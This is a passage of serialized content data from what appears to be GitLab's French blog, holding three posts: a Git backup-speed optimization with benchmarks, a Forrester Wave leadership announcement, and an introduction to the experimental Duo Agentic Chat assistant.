Amazon Q](https://docs.gitlab.com/user/duo_amazon_q/)\n- [Qu'est-ce que l'IA agentique ?](https://about.gitlab.com/fr-fr/topics/agentic-ai/)\n- [L'IA agentique : guides et ressources](https://about.gitlab.com/fr-fr/blog/agentic-ai-guides-and-resources/)",[852,851,482,700,1150,893],"revue de code",{"slug":1152,"featured":92,"template":683},"speed-up-code-reviews-let-ai-handle-the-feedback-implementation","content:fr-fr:blog:speed-up-code-reviews-let-ai-handle-the-feedback-implementation.yml","Speed Up Code Reviews Let Ai Handle The Feedback Implementation","fr-fr/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation.yml","fr-fr/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation",{"_path":1158,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1159,"content":1165,"config":1175,"_id":1177,"_type":16,"title":1178,"_source":17,"_file":1179,"_stem":1180,"_extension":20},"/fr-fr/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"ogTitle":1160,"schema":1161,"ogImage":1162,"ogDescription":1163,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1164,"title":1160,"canonicalUrls":1164,"description":1163},"Dépôts GitLab : forte diminution des temps de sauvegarde","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Dépôts GitLab : forte diminution des temps de sauvegarde\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Karthik Nayak\"},{\"@type\":\"Person\",\"name\":\"Manuel Kraft\"}],\n        \"datePublished\": \"2025-06-05\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097166/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%282%29_2pKf8RsKzAaThmQfqHIaa7_1750097166565.png","L'optimisation d'une fonction Git vieille de 15 ans a permis d'augmenter la productivité, de renforcer les stratégies de sauvegarde et de réduire les risques.","https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"heroImage":1162,"body":1166,"authors":1167,"updatedDate":1170,"date":1171,"title":1172,"tags":1173,"description":1163,"category":825},"Les sauvegardes de dépôt sont un élément essentiel de toute stratégie de\nreprise après un sinistre important. Cependant, à mesure que les dépôts\ngrossissent, garantir des sauvegardes fiables devient de plus en plus\ndifficile. Notre propre [dépôt Rails](https://gitlab.com/gitlab-org/gitlab)\nmettait 48 heures à être sauvegardé, ce qui nous obligeait à faire un choix\nimpossible entre la fréquence des sauvegardes et les performances du\nsystème. Nous avons donc décidé de trouver une solution à ce problème pour\nnos clients et pour nos propres équipes internes.\n\n\nAprès investigation, nous avons pu déterminer la cause du problème, qui remontait à une fonction Git vieille de 15 ans dont la complexité algorithmique O(N²) freinait lourdement les opérations. Nous l'avons corrigée en repensant l'algorithme et **avons ainsi réduit les temps de sauvegarde de manière exponentielle**. \n\n\nRésultat : des coûts réduits, des risques diminués, et surtout, des stratégies de sauvegarde désormais adaptées à la croissance de votre code source.\n\n\nCe problème d'évolutivité de [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\") affectait tout utilisateur disposant de grands dépôts. Découvrez dans cet article comment nous l'avons identifié et résolu.\n\n\n## Sauvegarde à grande échelle : enjeux et solutions\n\n\nÀ mesure que les entreprises développent leurs dépôts et que les sauvegardes se complexifient, elles sont confrontées aux défis suivants :\n\n\n* **Sauvegardes trop longues** : pour les très grands dépôts, la sauvegarde peut prendre plusieurs heures, ce qui rend impossible la planification de sauvegardes régulières.\n\n* **Utilisation intensive des ressources** : ces processus de sauvegarde prolongés mobilisent d'importantes ressources serveur, au risque d'impacter d'autres opérations critiques.\n\n* **Fenêtres de sauvegarde** : il peut être difficile de trouver des créneaux de maintenance adaptés à des processus aussi longs, en particulier pour les équipes qui fonctionnent 24 h/24 et 7 j/7.\n\n* **Risque accru d'échec** : les longues sauvegardes sont plus exposées aux interruptions causées par des problèmes réseau, des redémarrages de serveur ou des erreurs système, et obligent souvent les équipes à recommencer tout le processus depuis le début.\n\n* **Conditions de concurrence** : la durée allongée d'une sauvegarde augmente le risque que le dépôt ait beaucoup changé pendant le processus et peut conduire à une sauvegarde invalide ou à des interruptions liées à des objets devenus indisponibles.\n\n\nCes défis peuvent conduire à faire des compromis sur la fréquence ou l'exhaustivité des sauvegardes, ce qui est inacceptable en matière de protection des données. L'allongement des fenêtres de sauvegarde peut contraindre certains clients à adopter des solutions de contournement, comme l'utilisation d'outils externes ou la réduction de la fréquence des sauvegardes, ce qui fragilise les stratégies de protection des données au sein des entreprises.\n\n\nDécouvrez maintenant comment nous avons identifié ce goulot d'étranglement de performance, trouvé une solution et déployé une mesure corrective capable de réduire drastiquement les temps de sauvegarde.\n\n\n## Le défi technique\n\n\nLa fonctionnalité de sauvegarde des dépôts de GitLab repose sur la commande [`git bundle create`](https://git-scm.com/docs/git-bundle/fr), qui génère un aperçu complet du dépôt avec tous les objets et références comme les branches et les tags. Ce paquet sert de point de restauration pour recréer le dépôt dans son état exact.\n\n\nCependant, l'implémentation de cette commande souffrait d'un problème d'évolutivité lié au nombre de références et entraînait un véritable goulot d'étranglement en termes de performance. À mesure que les dépôts accumulaient un nombre croissant de références, le temps de traitement des données augmentait de façon exponentielle. Dans nos plus grands dépôts, contenant des millions de références, les opérations de sauvegarde pouvaient dépasser les 48 heures.\n\n\n### Analyse des causes profondes\n\n\nPour identifier la cause profonde de ce ralentissement, nous avons analysé un flame graph de la commande pendant son exécution.\n\n\n![Flame graph montrant la commande pendant son exécution](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097176/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097176388.jpg)\n\n\nCe graphique illustre le parcours d'exécution d'une commande à travers sa trace de piles d'appels, où chaque barre correspond à une fonction dans le code, et sa largeur indique le temps que la commande a passé à s'exécuter dans cette fonction spécifique.\n\n\nLe flame graph de `git bundle create` exécuté sur un dépôt contenant 10 000 références révèle qu'environ 80 % du temps d'exécution est consommé par la fonction `object_array_remove_duplicates()`, introduite dans Git par le biais du [commit b2a6d1c686](https://gitlab.com/gitlab-org/git/-/commit/b2a6d1c686) (paquet : permettre à la même référence d'être spécifiée plusieurs fois, 17/01/2009).\n\n\nPour comprendre ce changement, il est important de savoir que la commande `git bundle create` permet de préciser les références à inclure dans le paquet et que, pour les paquets de dépôt complets, le flag `--all` compacte toutes les références.\n\n\nCe commit corrigeait un problème lié aux références dupliquées fournies via la ligne de commande, telles que `git bundle create main.bundle main main`, et créait un paquet sans gérer correctement la duplication de la référence « main ». Lors de la décompression, Git tentait d'écrire la même référence deux fois, ce qui provoquait une erreur. \n\n\nLe code ajouté pour éviter ces duplications utilise des boucles `for` imbriquées qui parcourent toutes les références afin de détecter les doublons. Cet algorithme de complexité O(N²) est un goulot d'étranglement majeur en termes de performance dans les dépôts car il contient un grand nombre de références et prolonge considérablement le temps de traitement des données.\n\n\n### La solution : d'O(N²) à un mappage efficace\n\n\nPour résoudre ce problème, nous avons proposé une correction en amont dans Git pour remplacer les boucles imbriquées par une structure de type map. Chaque référence y est ajoutée une seule fois, ce qui élimine automatiquement les doublons et optimise le traitement.\n\n\nCe changement améliore considérablement les performances de la commande `git bundle create` et garantit une bien meilleure évolutivité dans les dépôts avec un grand nombre de références. Des tests de benchmark effectués sur un dépôt contenant 10 000 références montrent une amélioration des performances par un facteur de 6.\n\n\n```shell\n\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ): \t14.653 s ±  0.203 s\t[User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s\t10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):  \t2.394 s ±  0.023 s\t[User: 1.684 s, System: 0.798 s]\n  Range (min … max):\t2.364 s …  2.425 s\t10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n  6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\n\nLe correctif a été accepté et [fusionné](https://gitlab.com/gitlab-org/git/-/commit/bb74c0abbc31da35be52999569ea481ebd149d1d) dans Git en amont. Chez GitLab, nous l'avons rétroporté afin que nos clients puissent en bénéficier immédiatement sans attendre la prochaine version officielle de Git.\n\n\n## Résultat : des temps de sauvegarde radicalement réduits\n\n\nLes gains de performance qui découlent de cette amélioration sont considérables :\n\n\n* **De 48 heures à 41 minutes** : la sauvegarde de notre plus grand dépôt (gitlab-org/gitlab) ne prend désormais plus que 1,4 % du temps initial.\n\n* **Performances constantes** : l'amélioration est stable et s'adapte efficacement, quelle que soit la taille du dépôt.\n\n* **Efficacité des ressources** : la charge du serveur lors des opérations de sauvegarde a été fortement réduite.\n\n* **Applicabilité étendue** : si le processus de sauvegarde est celui qui bénéficie le plus de cette amélioration, toutes les opérations basées sur des paquets avec un grand nombre de références en profitent également.\n\n\n## Avantages pour nos clients GitLab\n\n\nPour les clients GitLab, cette amélioration apporte des bénéfices immédiats et concrets en matière de sauvegarde de leurs dépôts et de leur planification de reprise après sinistre :\n\n\n* **Transformation des stratégies de sauvegarde**   \n\n  * Les équipes peuvent désormais planifier des sauvegardes complètes chaque nuit, sans impacter les workflows de développement ni nécessiter de longues fenêtres de maintenance.   \n  * Les sauvegardes s'exécutent désormais en arrière-plan, de manière fluide, pendant les créneaux nocturnes, sans processus longs ni dédiés.  \n* **Continuité des activités améliorée**  \n\n  * Avec des temps de sauvegarde réduits de plusieurs jours à quelques minutes, les objectifs de point de récupération (RPO) sont considérablement réduits, tout comme le risque métier : en cas de sinistre, ce sont potentiellement seulement quelques heures de travail qui sont perdues, au lieu de plusieurs jours.\n* **Réduction de la charge opérationnelle**   \n\n  * La consommation de ressources serveur diminue, tout comme la durée des fenêtres de maintenance.  \n  * Des sauvegardes plus rapides réduisent également les coûts de calcul, en particulier dans les environnements cloud où chaque minute de traitement des données se traduit directement en factures plus élevées.\n* **Pérennisation de l'infrastructure**   \n\n  * La croissance des dépôts ne contraint plus les entreprises à faire des choix difficiles entre la fréquence des sauvegardes et les performances du système.   \n  * À mesure que votre code source se développe, votre stratégie de sauvegarde peut désormais évoluer.\n\nLes entreprises peuvent à présent mettre en œuvre des stratégies de sauvegarde plus robustes sans compromettre les performances ou l'exhaustivité. Ce qui relevait autrefois d'un compromis difficile est devenu une pratique opérationnelle simple.\n\n\nÀ partir de la version [GitLab 18.0](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/), tous les clients GitLab, quelle que soit leur version de licence, profitent désormais pleinement de ces améliorations pour leur stratégie de sauvegarde et l'exécution de leurs [sauvegardes](https://docs.gitlab.com/administration/backup_restore/backup_gitlab/), sans aucune autre modification de la configuration.\n\n\n## Et après ?\n\n\nCette avancée s'inscrit dans notre engagement continu à proposer une infrastructure Git évolutive, adaptée aux exigences des entreprises. Bien que réduire le temps de sauvegarde de 48 heures à 41 minutes représente une étape majeure, nous poursuivons nos efforts pour identifier et éliminer d'autres goulots d'étranglement dans l'ensemble de notre pile.\n\n\nNous sommes particulièrement fiers que cette amélioration ait été intégrée en amont dans le projet Git afin de profiter non seulement aux utilisateurs de GitLab, mais aussi à l'ensemble de la communauté Git. Cette approche collaborative du développement garantit que les améliorations sont rigoureusement revues, largement testées et accessibles à tous.\n\n\n> Des travaux d'infrastructure en profondeur comme celui-ci illustrent notre approche de la performance chez GitLab. Consultez le [replay de notre événement virtuel de lancement de GitLab 18](https://about.gitlab.com/fr-fr/eighteen/) et découvrez les autres améliorations fondamentales que nous proposons.\n",[1168,1169],"Karthik Nayak","Manuel Kraft","2025-07-09","2025-06-05","Dépôts GitLab : diminution du temps de sauvegarde de 48 h à 41 min ",[1047,913,1174],"performance",{"slug":1176,"featured":92,"template":683},"how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes","content:fr-fr:blog:how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes.yml","How We Decreased Gitlab Repo Backup Times From 48 Hours To 41 Minutes","fr-fr/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes.yml","fr-fr/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"_path":1182,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1183,"content":1189,"config":1196,"_id":1198,"_type":16,"title":1199,"_source":17,"_file":1200,"_stem":1201,"_extension":20},"/fr-fr/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"title":1184,"description":1185,"ogTitle":1184,"ogDescription":1185,"noIndex":6,"ogImage":1186,"ogUrl":1187,"ogSiteName":841,"ogType":842,"canonicalUrls":1187,"schema":1188},"GitLab nommée Leader dans le rapport The Forrester Wave™: DevOps Platforms (T2 2025)","Téléchargez le rapport The Forrester Wave™: DevOps Platforms (T2 2025) et découvrez pourquoi la plateforme GitLab a été nommée Leader.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658898/Blog/Hero%20Images/blog-post-image-forrester-wave-1800x945px-fy26.png","https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab nommée Leader dans le rapport The Forrester Wave™: DevOps Platforms (T2 2025)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2025-06-02\",\n      }\n                  ",{"title":1184,"description":1185,"authors":1190,"heroImage":1186,"date":1192,"body":1193,"category":676,"tags":1194,"updatedDate":1147},[1191],"Dave Steer","2025-06-02","Le choix d'une plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que l'approche DevSecOps ? \") est l'une des décisions technologiques les plus stratégiques pour une entreprise. C'est pourquoi nous sommes particulièrement fiers d'annoncer que GitLab a été nommée [**Leader dans le rapport The Forrester Wave™: DevOps Platforms, T2 2025**](https://about.gitlab.com/forrester-wave-devops-platform/). Notre plateforme a obtenu les meilleurs scores pour les critères qui comptent le plus aux yeux de nos clients, notamment l'expérience zero-day, les outils de développement, l'automatisation de la compilation, l'intégration continue, l'automatisation du déploiement, ainsi que l'atténuation des risques liés à l'IA, l'injection d'IA, les outils de sécurité directement intégrés et la cohésion au sein de la plateforme.\n\n***« GitLab est la solution tout-en-un la plus complète. Elle s'adresse aux entreprises qui cherchent à standardiser leurs processus avec un seul achat. » -*** Rapport The Forrester Wave™ dédié aux plateformes DevOps, T2 2025\n\nCette reconnaissance vient renforcer notre conviction : les équipes de développement logiciel doivent livrer des logiciels sécurisés, plus rapidement, sans sacrifier ni la rapidité, ni la sécurité, ni la simplicité, alors que d'autres plateformes imposent ce compromis. GitLab unifie les enjeux de rapidité, de fiabilité et de gouvernance. Avec la [version 18.0 de GitLab](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/) sortie en mai, nous franchissons une nouvelle étape en intégrant les [fonctionnalités basées sur l'IA native de GitLab Duo](https://about.gitlab.com/fr-fr/blog/gitlab-premium-with-duo/), sans frais supplémentaires. Avec GitLab Duo, nos clients bénéficient de fonctionnalités avancées, telles que la génération de tests, les suggestions de code et la refactorisation du code, directement dans GitLab Premium et GitLab Ultimate. \n\n> [Consultez le rapport Forrester dès aujourd'hui !](https://about.gitlab.com/forrester-wave-devops-platform/)\n\n![ Graphique issu du rapport The Forrester Wave™ dédié aux plateformes DevOps, T2 2025](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673518/Blog/Content%20Images/Image_DevOps-Platforms-Q2-2025.png)\n\n## Une IA de pointe, sans compromis sur la sécurité\n\nLes principes de l'approche DevSecOps évoluent rapidement, et l'IA est au cœur de cette transformation. Malheureusement, de nombreux outils alimentés par l'IA imposent de choisir entre des fonctionnalités de pointe et la sécurité à l'échelle de l'entreprise. \n\nForrester a attribué à GitLab la note maximale de 5 pour 2 critères clés : l'**injection d'IA** et l'**atténuation des risques liés à l'IA**. Nous sommes fiers que notre engagement à créer des fonctionnalités d'IA innovantes qui renforcent la sécurité soit remarqué non seulement par nos clients, mais également par d'autres parties prenantes.\n\nCes deux critères se reflètent dans nos offres d'IA GitLab Duo, notamment :\n\n* **Duo Workflow (bêta privée)** : des agents d'IA autonomes capables de gérer des tâches DevSecOps complexes, avec l'implémentation de garde-fous adaptés au secteur d'activité concerné et de pistes d'audit.  \n* **Agentic Chat** : une IA contextuelle et conversationnelle adaptée à toutes les étapes du cycle de développement, des explications de code à la création de tests, avec une protection de la propriété intellectuelle et des contrôles de confidentialité intégrés.  \n* **Suggestions de code** : génération prédictive de blocs de code, définition d'une logique fonctionnelle, génération de tests et suggestion d'un code commun comme des motifs regex.  \n* **Résolution de vulnérabilités intégrant l'IA native** : détection, explication et correction automatiques des vulnérabilités, avec des merge requests générées automatiquement, qui simplifient le processus de développement.\n\n## En finir avec la multiplication des outils \n\nLes équipes DevSecOps ne veulent plus jongler entre plusieurs outils disparates et des intégrations qui les aident seulement pour une partie de leur cycle de développement logiciel. Elles ont besoin d'une expérience de développement fluide, intégrée et cohérente de bout en bout.\n\nLes scores de GitLab dans les critères suivants valident notre stratégie centrée sur le client :\n\n* **Expérience zero-day :** Forrester a cité notre « forte expérience zero-day », en notant que « la plateforme est opérationnelle immédiatement », grâce notamment aux nombreux outils de migration et tutoriels complets mis à disposition. \n* **Outils de développement :** Forrester a cité [GitLab Duo combiné à Amazon Q](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), notre offre d'IA agentique destinée aux clients AWS, ainsi que notre environnement de développement cloud, notre plateforme de développement intégrée et nos wikis de documentation.  \n* **Planification et alignement des projets :** Forrester a noté la « robustesse de notre centre de conformité » et le fait que nous disposons d'outils pour favoriser une approche à la fois descendante et ascendante.  \n* **Sécurité des pipelines :** Forrester nous a attribué la note maximale pour ce critère.  \n* **Automatisation des compilations et intégration continue (CI) :** Forrester a cité notre automatisation des compilations et nos fonctionnalités d'intégration continue avec des pipelines de compilation en plusieurs étapes et une solide prise en charge des modèles auto-hébergés.\n\n## Téléchargez notre rapport\n\nLe fait que GitLab soit nommée Leader dans le rapport The Forrester Wave™: DevOps Platforms (T2 2025) témoigne de l'étendue et de la profondeur des fonctionnalités de notre plateforme, qui fournit une source unique de vérité pour l'ensemble du cycle de développement logiciel. Plus besoin de jongler avec plusieurs outils et multiples intégrations : GitLab offre une expérience fluide et intégrée qui augmente la productivité et réduit les points de friction. Cette distinction reflète le travail assidu de nos équipes, les nombreuses contributions de notre communauté [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ? \"), les précieux retours de nos clients et notre engagement constant à façonner l'avenir du développement logiciel.\n\n> #### [Téléchargez le rapport dès aujourd'hui !](https://about.gitlab.com/forrester-wave-devops-platform/)\n\n*Forrester ne cautionne aucune entreprise, aucun produit, aucune marque ou aucun service inclus dans ses publications de recherche et ne conseille à quiconque de sélectionner les produits ou services d'une entreprise ou d'une marque en fonction des notes attribuées. Les informations se fondent sur les meilleures ressources disponibles. Les opinions reflètent notre jugement du moment et peuvent évoluer. Pour en savoir plus, découvrez les [critères d'objectivité de Forrester](https://www.forrester.com/about-us/objectivity/).*",[1195,676,827,1067],"research",{"slug":1197,"featured":92,"template":683},"gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025","content:fr-fr:blog:gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025.yml","Gitlab Named A Leader In The Forrester Wave Devops Platforms Q2 2025","fr-fr/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025.yml","fr-fr/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"_path":1203,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1204,"content":1210,"config":1216,"_id":1218,"_type":16,"title":1219,"_source":17,"_file":1220,"_stem":1221,"_extension":20},"/fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"title":1205,"description":1206,"ogTitle":1205,"ogDescription":1206,"noIndex":6,"ogImage":1207,"ogUrl":1208,"ogSiteName":841,"ogType":842,"canonicalUrls":1208,"schema":1209},"GitLab Duo Chat fait peau neuve : place à l'IA agentique ","Découvrez GitLab Duo Agentic Chat, l'assistant d’IA nouvelle génération, disponible dès aujourd’hui en version expérimentale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099203/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2820%29_2bJGC5ZP3WheoqzlLT05C5_1750099203484.png","https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat fait peau neuve : place à l'IA agentique \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"}],\n        \"datePublished\": \"2025-05-29\",\n      }\n                  ",{"title":1205,"description":1206,"authors":1211,"heroImage":1207,"date":1213,"body":1214,"category":697,"tags":1215,"updatedDate":1171},[1212],"Torsten Linz","2025-05-29","Les assistants de chat basés sur l'IA générative se sont imposés comme des alliés incontournables des équipes de développement logiciel. Capables de suggérer du code, corriger des bogues et automatiser une multitude de tâches, ces assistants intelligents simplifient considérablement leur quotidien. \n\nMais imaginez un assistant qui ne se limite plus au code : capable de comprendre tous les artefacts de votre processus de développement, de gérer vos tickets, de documenter vos projets, et d’accéder à vos [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline Ci/CD ?\") et vos merge requests pour vous aider à mener à bien vos tâches de développement.\n\n**Découvrez GitLab Duo Agentic Chat, l'assistant d'IA nouvelle génération, qui succède à GitLab Duo Chat. Dernier-né de la plateforme GitLab, GitLab Duo Agentic Chat marque une avancée majeure dans l'assistance au développement basée sur l'IA native. Disponible dès aujourd'hui en [version expérimentale](https://docs.gitlab.com/policy/development_stages_support/#experiment),** il est accessible à tous les utilisateurs de GitLab.com via l'extension GitLab Workflow pour VS Code.\n\nContrairement aux assistants de chat traditionnels basés sur une IA conversationnelle, Agentic Chat effectue des actions en votre nom. Il décompose les problèmes complexes en tâches distinctes qu'il peut accomplir. Au lieu de répondre simplement aux questions en se basant sur le contexte que vous fournissez, il offre les capacités suivantes :\n\n* **Il détermine de manière autonome** les informations dont il a besoin pour répondre à vos questions.  \n* **Il exécute une séquence d'opérations** afin de collecter ces informations à partir de plusieurs sources.  \n* **Il formule des réponses complètes** en combinant les données provenant de l'ensemble de votre projet. \n* **Il crée et modifie des fichiers** pour vous aider à mettre en œuvre des solutions.\n\nMais bien évidemment, en tant que développeur, vous avez toujours votre mot à dire.\n\nAgentic Chat repose sur l'architecture GitLab Duo Workflow, [actuellement disponible en version bêta privée](https://about.gitlab.com/fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/) qui intègre des agents et des outils dédiés pour des tâches spécifiques : recherche contextuelle, modification de fichiers, et bien plus encore. \n\n**Cas d'utilisation de GitLab Duo Agentic Chat**\n\nAvec Agentic Chat, vous pouvez :\n\n* Prendre en main les nouveaux projets plus rapidement en demandant à l'IA de vous guider à travers le nouveau code base.\n\n* Commencer à effectuer immédiatement les tâches qui vous sont attribuées, même lorsque les descriptions des tickets ne sont pas claires : Agentic Chat vous aide à faire le lien entre les exigences et les implémentations.\n\n* Gérer l’implémentation : lorsqu'il est temps d'apporter des modifications, Agentic Chat peut gérer le travail d'implémentation en créant et en modifiant plusieurs fichiers dans votre projet.\n\n* Vérifier votre solution : au moment de la mise en production, Agentic Chat peut vous aider à vérifier que votre solution répond réellement aux exigences initiales en analysant vos merge requests et en les comparant au ticket ou à la tâche d'origine.\n\n![Agentic Chat - exemple](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099210/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099210429.png)\n\n\u003Ccenter>\u003Ci>Agentic Chat apporte des modifications au code\u003C/i>\u003C/center>\n\n## De l'apprentissage à la livraison : un workflow en quatre étapes\n\nPour mieux saisir l'impact d'Agentic Chat, explorons un scénario réel vécu par notre équipe d’ingénierie. Prenons l'exemple suivant : vous intégrez une nouvelle équipe, un ticket vous est attribué, mais vous ne maîtrisez pas encore le code base. \n\nPour mieux visualiser ce scénario, n'hésitez pas à regarder la vidéo de démonstration ci-dessous :\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uG9-QLAJrrg?si=kaOhYylMIaWkIuG8j\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Étape 1 : comprendre le projet**\n\nAu lieu d'explorer manuellement les fichiers et la documentation, vous pouvez soumettre le prompt suivant à Agentic Chat :\n\n```unset\nI am new to this project. Could you read the project structure and explain it to me?\n```\n\nAgentic Chat fournit une vue d'ensemble complète du projet en :  \n- explorant la structure des répertoires  \n- lisant les fichiers README et la documentation  \n- identifiant les composants et les applications clés\n\n**Étape 2 : comprendre la tâche qui vous a été attribuée**\n\nEnsuite, vous devez comprendre la tâche à effectuer. Vous pouvez donc saisir le prompt suivant :\n\n```unset\nI have been assigned Issue 1119. Could you help me understand this task, specifically where do I need to apply the refactoring?\n```\n\nAgentic Chat explique la tâche et propose une approche de refactorisation :\n- en récupérant et en analysant les détails du ticket à partir du serveur GitLab distant  \n- en examinant les fichiers associés au projet  \n- en identifiant les emplacements spécifiques nécessitant des modifications\n\n**Étape 3 : mettre en œuvre la solution**\n\nPlutôt que d'effectuer le travail manuellement, vous pouvez saisir le prompt suivant :\n\n```unset\nCould you make the edits for me? Please start with steps one, two, three.\n```\n\nAgentic Chat :  \n- crée des répertoires et fichiers si nécessaire \n- extrait et refactorise le code à plusieurs emplacements  \n- assure la cohérence de tous les fichiers modifiés  \n- fournit un résumé de toutes les modifications apportées\n\n**Étape 4 : vérifier que le travail effectué est correct**\n\nEnfin, après avoir créé votre merge request, vous pouvez vérifier votre travail avec le prompt suivant :\n\n```unset\nDoes my MR fully address Issue 1119?  \n```\n\nAgentic Chat confirme alors si toutes les exigences ont été prises en compte en analysant à la fois votre merge request et le ticket d'origine.\n\n## Essayez Agentic Chat dès aujourd'hui ! \n\nGitLab Duo Agentic Chat est actuellement disponible en tant que fonctionnalité expérimentale dans VS Code pour les utilisateurs de GitLab Duo Pro et GitLab Duo Enterprise. Découvrez les prérequis et les étapes de configuration dans notre [documentation officielle](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/).\n\nCette version expérimentale d'Agentic Chat présente encore quelques limitations connues que nous nous efforçons de résoudre, y compris des temps de réponse parfois lents en raison de multiples appels API, une recherche basée sur des mots-clés plutôt que sur une recherche sémantique, ainsi qu'une prise en charge limitée des nouveaux dossiers locaux ou des projets autres que GitLab. **Vos retours sont précieux pour nous aider à hiérarchiser les prochaines améliorations et à proposer Agentic Chat en disponibilité générale. C'est pourquoi nous vous invitons à partager votre expérience dans [ce ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/542198).**\n\n## Quelles perspectives pour Agentic Chat ?\n\nNous concentrons tous nos efforts sur l'amélioration d'Agentic Chat en vue de sa future disponibilité générale. À court terme, notre objectif est de réduire les temps de réponse et d'y intégrer les capacités dont GitLab Duo Chat dispose actuellement, telles que la compatibilité avec les modèles de GitLab Duo Self-Hosted, ainsi que la prise en charge des environnements JetBrains et Visual Studio, en plus de VS Code. Une fois cette nouvelle architecture pleinement implémentée dans GitLab Duo Chat, nous prévoyons également d'intégrer Agentic Chat directement au chat intégré à l'application web de GitLab. D'autres améliorations sont déjà en cours de développement, notamment : la modification directe des artefacts GitLab, la prise en charge du contexte à partir de serveurs personnalisés via MCP (Model Context Protocol) et la possibilité d'exécuter des commandes directement dans le terminal.\n\n> Vous souhaitez découvrir l'assistance au développement autonome, mais vous n'utilisez pas encore GitLab ? Profitez dès aujourd'hui d'un [essai gratuit de GitLab Ultimate avec Duo Enterprise](https://about.gitlab.com/fr-fr/free-trial/) pour tester Agentic Chat et contribuez à façonner l'avenir du développement alimenté par l'IA. Pour commencer, suivez simplement ces [étapes de configuration pour VS Code](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat-in-vs-code).\n\n***Avertissement : cet article de blog contient des informations relatives aux produits, fonctionnalités et caractéristiques à venir. Il est important de noter qu'elles ne sont fournies qu'à titre informatif. Veuillez ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés dans cet article sont susceptibles de changer ou d’être retardés. Le développement, la sortie et le calendrier de tout produit ou fonctionnalité restent à la seule discrétion de GitLab.***\n\n## En savoir plus\n\n- [GitLab Duo Workflow : une IA agentique offrant visibilité et contrôle à l'échelle de l'entreprise](https://about.gitlab.com/fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [Qu'est-ce que l'IA agentique ?](https://about.gitlab.com/fr-fr/topics/agentic-ai/)\n- [Agentic Chat : guides et ressources](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)\n",[699,827,675,1067,676,1069],{"slug":1217,"featured":92,"template":683},"gitlab-duo-chat-gets-agentic-ai-makeover","content:fr-fr:blog:gitlab-duo-chat-gets-agentic-ai-makeover.yml","Gitlab Duo Chat Gets Agentic Ai 